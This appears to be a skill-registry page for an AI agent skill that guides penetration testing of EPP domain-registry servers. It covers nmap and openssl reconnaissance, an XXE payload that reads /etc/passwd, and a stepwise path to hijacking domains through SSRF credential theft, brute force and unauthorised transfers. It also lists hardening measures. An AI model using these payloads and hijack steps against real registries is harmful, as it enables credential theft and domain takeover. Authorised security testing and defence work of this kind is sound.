# Epp Pentesting

> Pentest EPP (Extensible Provisioning Protocol) servers used for domain name management. Use this skill whenever the user mentions EPP, domain registrar testing, port 700, TLD security, registry vulnerabilities, or wants to assess domain name system infrastructure. This skill covers enumeration, XXE/SSRF exploitation, mTLS bypass testing, and domain hijacking attack paths.

- Skill: `abelrguezr/epp-pentesting` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/epp-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/epp-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/epp-pentesting

---


# EPP Pentesting Skill

A comprehensive guide for security testing of Extensible Provisioning Protocol (EPP) servers used by domain name registries and registrars.

## What is EPP?

The Extensible Provisioning Protocol (EPP) is a network protocol used for **management of domain names and other internet resources** by domain name registries and registrars. It enables automation of domain name registration, renewal, transfer, and deletion processes.

**Key characteristics:**
- Typically listens on **TCP port 700** over TLS
- Uses **XML** for communication (XXE vulnerability surface)
- Often implements **mutual-TLS (mTLS)** for client authentication
- Used by TLD registrars to communicate with domain registrars

## Enumeration & Reconnaissance

### Step 1: Discover EPP Endpoints

EPP servers are often hidden behind generic hostnames like `ot&e.<tld>.nic.<cc>`. Start with port scanning:

```bash
# Scan for EPP port
nmap -p700 <target>

# Banner-grabbing and TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
```

### Step 2: Check mTLS Requirements

Many private test or pre-production deployments forget to enforce mTLS:

```bash
# Check if mTLS is really required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
  -servername epp.test 2>/dev/null | head
```

If the server does not terminate the connection after the TLS handshake, you can attempt to send an unauthenticated `<hello/>` message:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
  <hello/>
</epp>
```

### Step 3: Use Automated Tools

**Recommended open-source clients:**

1. **epp-client (Go)** – Actively maintained, supports TCP/TLS and EPP-over-HTTPS (RFC 8730):
   ```bash
   go install github.com/domainr/epp/cmd/epp@latest
   ```

2. **gandi/go-epp** – Minimal client library for fuzzing or nuclei-style workflows

3. **afq984/php-epp-client** – PHP implementation used by many small registrars

## Common Vulnerabilities (2023-2025)

| Year | Component | CWE | Impact |
|------|-----------|-----|--------|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Remote file read & SSRF via crafted `<epp>` payload |
| 2024 | FRED EPP Server 2.x | CWE-322 Insufficient TLS cert validation | Bypass of mTLS allowed unauthorized registrar login |
| 2025 | Proprietary registrar panel | CWE-306 Missing Authentication for Critical Function | Domain transfer approval endpoint exposed over EPP-HTTP bridge |

### XXE / SSRF Exploitation

EPP uses XML, making it vulnerable to XXE when parsers are misconfigured. This payload works against many Java/Spring implementations:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
  <command>
    <check>
      <domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
        <domain:name>&xxe;</domain:name>
      </domain:check>
    </check>
  </command>
</epp>
```

When the parser is misconfigured (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), the file content is returned inside the `<resData>` structure.

### Other Typical Findings

1. **Weak credential policy** – EPP login passphrases shorter than 8 characters; brute-force is often feasible because the spec only RECOMMENDS (not requires) rate-limiting

2. **Missing `registryLock` / `serverUpdateProhibited` status** – Once authenticated, attackers can immediately update NS records and steal traffic

3. **Unsigned poll messages** – Some implementations still do not sign poll Q&A messages, enabling spoofing/phishing of registrar operators

## Attack Path: From Zero to TLD Hijack

Follow this methodology for comprehensive EPP assessment:

1. **Discover** an EPP endpoint (often hidden behind a generic host like `ot&e.<tld>.nic.<cc>`)

2. **Abuse weaknesses** to gain registrar-level credentials:
   - XXE → SSRF to IMDSv1, credential exfiltration
   - TLS-bypass if mTLS is not enforced
   - Brute-force weak credentials

3. **Issue `<update>` requests** to change the domain's `hostObj` records to attacker-controlled name servers

4. **Submit `<transfer>`** to move the domain to an attacker-controlled registrar – many registries still rely on a **single auth-code**

5. **Profit**: Full control of DNS zone, ability to request TLS certificates via ACME

## Defensive Measures & Hardening

When providing remediation guidance, recommend:

- **Enforce mTLS** with per-registrar client certificates and pin the registry CA
- **Set `parserFeature secure-processing=true`** or equivalent to kill XXE
- **Run continuous fuzzing** of the XML parser (e.g., with `go-fuzz` or `jazzer` for Java)
- **Deploy Registry Lock / server*Prohibited** statuses for high-value domains
- **Monitor `poll` queue** for suspicious `<transfer>` or `<update>` commands and alert in real-time
- **Leverage ICANN 2024 DNS-Abuse contract amendments** requiring registries to prove rate-limit & auth controls

## References

- ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
- HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
- RFC 5730 – Extensible Provisioning Protocol (EPP)
- RFC 8730 – EPP over HTTPS

## Scripts

Use the bundled scripts for common tasks:

- `scripts/epp-enumerate.sh` – Banner grabbing and TLS inspection
- `scripts/epp-xxe-test.sh` – Test for XXE vulnerabilities
- `scripts/epp-login-test.go` – Minimal login+check script for testing authentication